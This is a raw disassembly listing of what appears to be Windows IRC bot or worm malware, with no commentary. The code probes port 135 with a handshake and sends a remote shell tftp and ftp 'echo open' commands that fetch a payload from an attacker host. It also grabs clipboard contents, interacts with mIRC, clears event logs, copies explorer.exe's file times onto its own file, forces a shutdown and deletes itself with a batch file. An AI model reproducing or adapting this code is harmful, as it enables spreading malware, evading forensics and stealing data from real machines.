movsx eax, [ebp+esi+var_2D]
push eax
push edi
xor ebx, ebx
call sub_41F720
pop ecx
test eax, eax
pop ecx
jnz loc_418710
call sub_41EB70
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_43C4C8
call sub_4201DC
cmp esi, 3
jz short loc_418621
cmp eax, 1
jnz loc_418710
loc_418621: ; CODE XREF: sub_418428+1EEj
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_418665
push edi
call sub_41BC70
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp [ebp+var_10]
call sub_41EB70
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul [ebp+var_10]
fmul ds:dbl_43C4C8
call sub_4201DC
mov al, byte ptr ds:a__2[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_418683
; ---------------------------------------------------------------------------
loc_418665: ; CODE XREF: sub_418428+202j
call sub_41EB70
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4B8
call sub_4201DC
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_418683: ; CODE XREF: sub_418428+23Bj
inc esi
xor ebx, ebx
mov [ebp+var_4], esi
inc ebx
call sub_41EB70
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4B0
call sub_4201DC
cmp esi, 3
jz short loc_4186A9
cmp eax, ebx
jnz short loc_418710
loc_4186A9: ; CODE XREF: sub_418428+27Bj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_4186EE
push edi
call sub_41BC70
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp [ebp+var_10]
call sub_41EB70
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul [ebp+var_10]
fmul ds:dbl_43C4C8
call sub_4201DC
mov al, byte ptr ds:a__2[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_41870C
; ---------------------------------------------------------------------------
loc_4186EE: ; CODE XREF: sub_418428+28Bj
call sub_41EB70
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4B8
call sub_4201DC
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_41870C: ; CODE XREF: sub_418428+2C4j
inc esi
mov [ebp+var_4], esi
loc_418710: ; CODE XREF: sub_418428+1C4j
; sub_418428+1F3j ...
cmp esi, 6
jge short loc_418790
call sub_41EB70
cmp esi, 5
jge short loc_41872D
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4D0
jmp short loc_418746
; ---------------------------------------------------------------------------
loc_41872D: ; CODE XREF: sub_418428+2F5j
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_43C4C8
loc_418746: ; CODE XREF: sub_418428+303j
call sub_4201DC
test eax, eax
jnz short loc_418769
call sub_41EB70
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4A8
call sub_4201DC
mov cl, 30h
jmp short loc_418786
; ---------------------------------------------------------------------------
loc_418769: ; CODE XREF: sub_418428+325j
cmp eax, 1
jnz short loc_418790
call sub_41EB70
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4B8
call sub_4201DC
mov cl, 41h
loc_418786: ; CODE XREF: sub_418428+33Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_418790: ; CODE XREF: sub_418428+2EBj
; sub_418428+344j
cmp ebx, 2
jge short loc_41880E
call sub_41EB70
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul ds:dbl_43C4C8
call sub_4201DC
cmp eax, 1
jnz short loc_41880E
call sub_41EB70
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4A8
call sub_4201DC
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41EB70
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C4A0
call sub_4201DC
cmp eax, 1
jnz short loc_41880E
cmp ebx, eax
jge short loc_41880E
call sub_41EB70
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_43C498
call sub_4201DC
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_41880E: ; CODE XREF: sub_418428+1ACj
; sub_418428+36Bj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41E510
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_418428 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418827 proc near ; CODE XREF: _0:00418984p _0:004189ABp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_418855
loc_418838: ; CODE XREF: sub_418827+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_421BD0
add esp, 0Ch
test eax, eax
jz short loc_41885B
inc esi
cmp esi, edi
jl short loc_418838
loc_418855: ; CODE XREF: sub_418827+Fj
xor al, al
loc_418857: ; CODE XREF: sub_418827+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41885B: ; CODE XREF: sub_418827+27j
mov al, 1
jmp short loc_418857
sub_418827 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41EF80
mov eax, [ebp+0Ch]
push esi
dec eax
push edi
jz short loc_4188A0
dec eax
jz short loc_41887E
dec eax
loc_418878: ; CODE XREF: _0:004188B6j
xor eax, eax
loc_41887A: ; CODE XREF: _0:0041889Ej _0:004189C8j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_41887E: ; CODE XREF: _0:00418875j
push 3
push 1388h
push dword ptr [ebp+8]
call ds:dword_4E3008 ; inet_addr
push eax
call sub_40C611
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_41887A
; ---------------------------------------------------------------------------
loc_4188A0: ; CODE XREF: _0:00418872j
push 6
push 1
push 2
call ds:dword_4E3048 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+0Ch], esi
jz short loc_418878
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp-10h]
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
mov word ptr [ebp-10h], 2
push 87h
call ds:dword_4E2FC8 ; htons
push dword ptr [ebp+8]
mov [ebp-0Eh], ax
call sub_40AD91
pop ecx
mov [ebp-0Ch], eax
lea eax, [ebp-10h]
push 10h
push eax
push esi
call ds:dword_4E2F70 ; connect
cmp eax, edi
jz loc_4189BC
push ebx
push 48h
push offset dword_44FAF8
push esi
call ds:dword_4E3018 ; send
cmp eax, edi
jz loc_4189BC
mov esi, 2000h
push ebx
lea eax, [ebp-2010h]
push esi
push eax
push dword ptr [ebp+0Ch]
call ds:dword_4E2FE0 ; recv
cmp eax, edi
jz loc_4189BC
cmp byte ptr [ebp-200Eh], 0Ch
jnz short loc_4189BC
push ebx
push 18h
push offset dword_44FB44
push dword ptr [ebp+0Ch]
call ds:dword_4E3018 ; send
cmp eax, edi
jz short loc_4189BC
push ebx
lea eax, [ebp-2010h]
push esi
push eax
push dword ptr [ebp+0Ch]
call ds:dword_4E2FE0 ; recv
mov esi, eax
cmp esi, edi
jz short loc_4189BC
cmp byte ptr [ebp-200Eh], 2
jnz short loc_4189BC
push 10h
push offset loc_44FB60
lea eax, [ebp-2010h]
push esi
push eax
call sub_418827
add esp, 10h
test al, al
jz short loc_41899C
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_4189BC
; ---------------------------------------------------------------------------
loc_41899C: ; CODE XREF: _0:0041898Ej
push 10h
push offset dword_44FB74
lea eax, [ebp-2010h]
push esi
push eax
call sub_418827
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_4189BC: ; CODE XREF: _0:004188FAj _0:00418911j ...
push dword ptr [ebp+0Ch]
call ds:dword_4E3060 ; closesocket
mov eax, ebx
pop ebx
jmp loc_41887A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4189CD proc near ; CODE XREF: sub_401C87+BA7p
; sub_401C87+BE1p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_418A58
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_418A58
cmp [ebp+arg_8], esi
jz short loc_418A58
cmp byte ptr [eax], 0
jz short loc_418A58
push ebx
push edi
call sub_43AEA0
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_418A53
push [ebp+arg_4]
push edi
call sub_41EBB0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_418A4C
sub eax, edi
push eax
push edi
push ebx
call sub_41E510
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41BC70
push eax
push [ebp+arg_8]
push ebx
call sub_41FAC0
push [ebp+arg_4]
call sub_41BC70
add eax, esi
push eax
push ebx
call sub_41F630
push ebx
push edi
call sub_41F620
add esp, 30h
mov esi, edi
loc_418A4C: ; CODE XREF: sub_4189CD+3Cj
push ebx
call sub_41C9D0
pop ecx
loc_418A53: ; CODE XREF: sub_4189CD+2Bj
mov eax, esi
pop ebx
jmp short loc_418A5A
; ---------------------------------------------------------------------------
loc_418A58: ; CODE XREF: sub_4189CD+Cj
; sub_4189CD+13j ...
xor eax, eax
loc_418A5A: ; CODE XREF: sub_4189CD+89j
pop edi
pop esi
pop ebp
retn
sub_4189CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A5E proc near ; CODE XREF: sub_401B0B+E9p
; sub_410B14+F4p
var_7D0 = dword ptr -7D0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push edi
xor ebx, ebx
push 7D0h
lea eax, [ebp+var_7D0]
push ebx
push eax
call sub_41E4B0
mov esi, [ebp+arg_0]
push esi
call sub_41BC70
xor edi, edi
add esp, 10h
inc edi
cmp eax, edi
jge short loc_418A96
or eax, 0FFFFFFFFh
jmp short loc_418AFD
; ---------------------------------------------------------------------------
loc_418A96: ; CODE XREF: sub_418A5E+31j
xor ecx, ecx
cmp eax, ebx
mov [ebp+var_7D0], esi
jle short loc_418AB7
loc_418AA2: ; CODE XREF: sub_418A5E+57j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_418AAF
cmp dl, 0Dh
jnz short loc_418AB2
loc_418AAF: ; CODE XREF: sub_418A5E+4Aj
mov [ecx+esi], bl
loc_418AB2: ; CODE XREF: sub_418A5E+4Fj
inc ecx
cmp ecx, eax
jl short loc_418AA2
loc_418AB7: ; CODE XREF: sub_418A5E+42j
xor edx, edx
cmp eax, ebx
jle short loc_418ADF
loc_418ABD: ; CODE XREF: sub_418A5E+7Fj
cmp [edx+esi], bl
jnz short loc_418ADA
lea ecx, [edx+esi+1]
cmp [ecx], bl
jz short loc_418ADA
cmp edi, 1F4h
jge short loc_418ADF
mov [ebp+edi*4+var_7D0], ecx
inc edi
loc_418ADA: ; CODE XREF: sub_418A5E+62j
; sub_418A5E+6Aj
inc edx
cmp edx, eax
jl short loc_418ABD
loc_418ADF: ; CODE XREF: sub_418A5E+5Dj
; sub_418A5E+72j
cmp [ebp+arg_4], ebx
jz short loc_418AFB
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41FBF0
add esp, 0Ch
loc_418AFB: ; CODE XREF: sub_418A5E+84j
mov eax, edi
loc_418AFD: ; CODE XREF: sub_418A5E+36j
pop edi
pop esi
pop ebx
leave
retn
sub_418A5E endp
; =============== S U B R O U T I N E =======================================
sub_418B02 proc near ; CODE XREF: sub_418B5C+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_418B3B
push ebx
mov ebx, edi
loc_418B1F: ; CODE XREF: sub_418B02+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_418B3E
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418B1F
pop ebx
loc_418B3B: ; CODE XREF: sub_418B02+18j
pop edi
pop esi
retn
sub_418B02 endp
; =============== S U B R O U T I N E =======================================
sub_418B3E proc near ; CODE XREF: sub_418B02+25p
; sub_418B5C+69p
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_421C90
cmp al, 61h
pop ecx
jl short loc_418B59
cmp al, 7Ah
jg short loc_418B59
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418B59: ; CODE XREF: sub_418B3E+Ej
; sub_418B3E+12j
xor eax, eax
retn
sub_418B3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418B5C proc near ; CODE XREF: _0:00415B45p _0:00415BCAp ...
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41EF80
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41BC70
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41BC70
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_418B02
add esp, 14h
dec esi
mov edi, esi
jmp short loc_418C0E
; ---------------------------------------------------------------------------
loc_418B9C: ; CODE XREF: sub_418B5C+B4j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_421C90
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_421C90
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418C0C
loc_418BBE: ; CODE XREF: sub_418B5C+AEj
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_418B3E
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_418BDF
mov eax, ecx
loc_418BDF: ; CODE XREF: sub_418B5C+7Fj
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_418C1C
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_421C90
movsx ecx, byte ptr [edi+ebx]
push ecx
mov [ebp+var_8], eax
call sub_421C90
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_418BBE
loc_418C0C: ; CODE XREF: sub_418B5C+60j
dec edi
dec esi
loc_418C0E: ; CODE XREF: sub_418B5C+3Ej
test esi, esi
jg short loc_418B9C
mov eax, [ebp+arg_0]
add eax, edi
loc_418C17: ; CODE XREF: sub_418B5C+C2j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_418C1C: ; CODE XREF: sub_418B5C+88j
xor eax, eax
jmp short loc_418C17
sub_418B5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C20 proc near ; CODE XREF: sub_401C87+6862p
; sub_401C87+7921p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call ds:dword_4F542C ; FormatMessageA
lea eax, [ebp+var_100]
loc_418C59: ; CODE XREF: sub_418C20+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_418C65
cmp cl, 9
jnz short loc_418C68
loc_418C65: ; CODE XREF: sub_418C20+3Ej
inc eax
jmp short loc_418C59
; ---------------------------------------------------------------------------
loc_418C68: ; CODE XREF: sub_418C20+43j
; sub_418C20+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_418C82
mov cl, [eax]
cmp cl, 2Eh
jz short loc_418C68
cmp cl, 21h
jl short loc_418C68
loc_418C82: ; CODE XREF: sub_418C20+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4F2788
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41EC30
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_418C20 endp
; =============== S U B R O U T I N E =======================================
sub_418CAA proc near ; CODE XREF: sub_401C87+2484p
push esi
push 0
call ds:dword_4E2F98 ; OpenClipboard
test eax, eax
jz short loc_418CE1
push 1
call ds:dword_4E2FB8 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_418CE1
push edi
push esi
call ds:dword_4F5434 ; GlobalLock
push esi
mov edi, eax
call ds:dword_4F5430 ; GlobalUnlock
call ds:dword_4E301C ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_418CE1: ; CODE XREF: sub_418CAA+Bj
; sub_418CAA+19j
xor eax, eax
pop esi
retn
sub_418CAA endp
; =============== S U B R O U T I N E =======================================
sub_418CE5 proc near ; CODE XREF: sub_401C87+76CCp
arg_0 = dword ptr 4
push ebp
push esi
xor esi, esi
push esi
push offset aMirc_2 ; "mIRC"
call ds:dword_4E2FD4 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_418D65
push ebx
push edi
push offset aMirc_3 ; "mIRC"
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call ds:off_4F5440
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call ds:off_4F543C
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41EA60
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call ds:dword_4E3024 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call ds:dword_4E3024 ; SendMessageA
push ebx
call ds:off_4F5438
push edi
call ds:off_4F533C
xor eax, eax
pop edi
inc eax
pop ebx
jmp short loc_418D67
; ---------------------------------------------------------------------------
loc_418D65: ; CODE XREF: sub_418CE5+14j
xor eax, eax
loc_418D67: ; CODE XREF: sub_418CE5+7Ej
pop esi
pop ebp
retn
sub_418CE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D6A proc near ; CODE XREF: sub_401404+200p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call ds:off_4E3080
test eax, eax
jz short loc_418E09
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:off_4F53C0
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; sub_50B2B0
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_418E09
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call ds:dword_4F5448 ; GetFileTime
push ebx
mov ebx, ds:off_4F533C
call ebx ; sub_50B3D5
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; sub_50B2B0
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_418E09
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_4F5444 ; SetFileTime
push esi
call ebx ; sub_50B3D5
loc_418E09: ; CODE XREF: sub_418D6A+2Aj
; sub_418D6A+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418D6A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 454h
push esi
xor esi, esi
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41E4B0
push 44h
lea eax, [ebp-54h]
push esi
push eax
call sub_41E4B0
push dword ptr [ebp+0Ch]
lea eax, [ebp-454h]
mov dword ptr [ebp-54h], 44h
mov dword ptr [ebp-28h], 1
push dword ptr [ebp+8]
mov [ebp-24h], si
push offset aSS_5 ; "%s %s"
push 400h
push eax
call sub_41EC30
add esp, 2Ch
lea eax, [ebp-10h]
push eax
lea eax, [ebp-54h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-454h]
push esi
push eax
push dword ptr [ebp+8]
call ds:dword_4F5340 ; CreateProcessA
neg eax
sbb eax, eax
pop esi
and eax, [ebp-8]
leave
retn
; =============== S U B R O U T I N E =======================================
sub_418E8C proc near ; CODE XREF: sub_401C87+1662p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_41A2C9
pop ecx
pop ecx
push 50005h
push 6
call ds:dword_4E2F08 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_418E8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EAE proc near ; CODE XREF: sub_401C87+2718p
; sub_416D68+45Fp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp ds:dword_43F094, esi
push edi
jz short loc_418ED2
cmp ds:dword_4E3094, esi
jnz short loc_418ED2
push esi
call sub_401000
pop ecx
loc_418ED2: ; CODE XREF: sub_418EAE+13j
; sub_418EAE+1Bj
call sub_40B854
lea eax, [ebp+var_764]
push eax
push 400h
call ds:dword_4F5384 ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41EA60
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:off_4F53C0
mov edi, eax
cmp edi, esi
jbe loc_419032
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41EA60
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call ds:dword_4F53B4 ; WriteFile
push edi
call ds:off_4F533C
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41E4B0
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41E4B0
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_4F2988
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call ds:off_4F5370
push eax
call ds:off_4F5344
lea eax, [ebp+var_15C]
push eax
call ds:off_4F536C
cmp eax, 0FFFFFFFFh
jz short loc_418FDA
lea eax, [ebp+var_15C]
push 80h
push eax
call ds:dword_4F5368 ; SetFileAttributesA
loc_418FDA: ; CODE XREF: sub_418EAE+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41EA60
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call ds:dword_4F544C ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call ds:dword_4F5340 ; CreateProcessA
loc_419032: ; CODE XREF: sub_418EAE+72j
pop edi
pop esi
leave
retn
sub_418EAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419036 proc near ; CODE XREF: sub_401C87+729Ap
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call ds:dword_4F539C ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_4190CC
push [ebp+arg_10]
push [ebp+arg_C]
call ds:dword_4E2F48 ; OpenEventLogA
push edi
push eax
call ds:dword_4E2F58 ; ClearEventLogA
test eax, eax
jz short loc_4190BE
push [ebp+arg_10]
push offset dword_44FC44
loc_419097: ; CODE XREF: sub_419036+94j
lea eax, [ebp+var_294]
push eax
call sub_41EA60
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 20h
jmp short loc_4190F6
; ---------------------------------------------------------------------------
loc_4190BE: ; CODE XREF: sub_419036+57j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44FC60
jmp short loc_419097
; ---------------------------------------------------------------------------
loc_4190CC: ; CODE XREF: sub_419036+3Fj
lea eax, [ebp+var_294]
push offset unk_44FC88
push eax
call sub_41EA60
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 1Ch
loc_4190F6: ; CODE XREF: sub_419036+86j
pop edi
leave
retn
sub_419036 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-10h]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-10h], 2
push eax
call ds:dword_4E3008 ; inet_addr
push dword ptr [ebp+0C4h]
mov [ebp-0Ch], eax
call ds:dword_4E2FC8 ; htons
push edi
push 1
push 2
mov [ebp-0Eh], ax
call ds:dword_4E3048 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+0C4h], esi
jz loc_4191FC
lea eax, [ebp-10h]
push 10h
push eax
push esi
call ds:dword_4E2F70 ; connect
cmp eax, 0FFFFFFFFh
jz loc_4191FC
mov ebx, 400h
push edi
lea eax, [ebp-5A0h]
push ebx
push eax
push esi
call ds:dword_4E2FE0 ; recv
mov esi, offset byte_43F0FC
push esi
push esi
push dword ptr [ebp+8]
call sub_40AEAD
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
lea eax, [ebp-1A0h]
push edi
push eax
call sub_41EC30
movzx eax, word ptr ds:dword_4E2D00
add esp, 18h
push esi
push esi
push eax
push dword ptr [ebp+8]
call sub_40AEAD
pop ecx
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp-1A0h]
push edi
push eax
call sub_41EC30
add esp, 1Ch
lea eax, [ebp-1A0h]
push 0
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp-1A0h]
push eax
push dword ptr [ebp+0C4h]
call ds:dword_4E3018 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_419200
loc_4191FC: ; CODE XREF: _0:0041914Fj _0:00419165j
xor al, al
jmp short loc_419224
; ---------------------------------------------------------------------------
loc_419200: ; CODE XREF: _0:004191FAj
push 0
lea eax, [ebp-5A0h]
push ebx
push eax
push dword ptr [ebp+0C4h]
call ds:dword_4E2FE0 ; recv
push dword ptr [ebp+0C4h]
call ds:dword_4E3060 ; closesocket
mov al, 1
loc_419224: ; CODE XREF: _0:004191FEj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419229 proc near ; CODE XREF: sub_401C87+56A9p
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
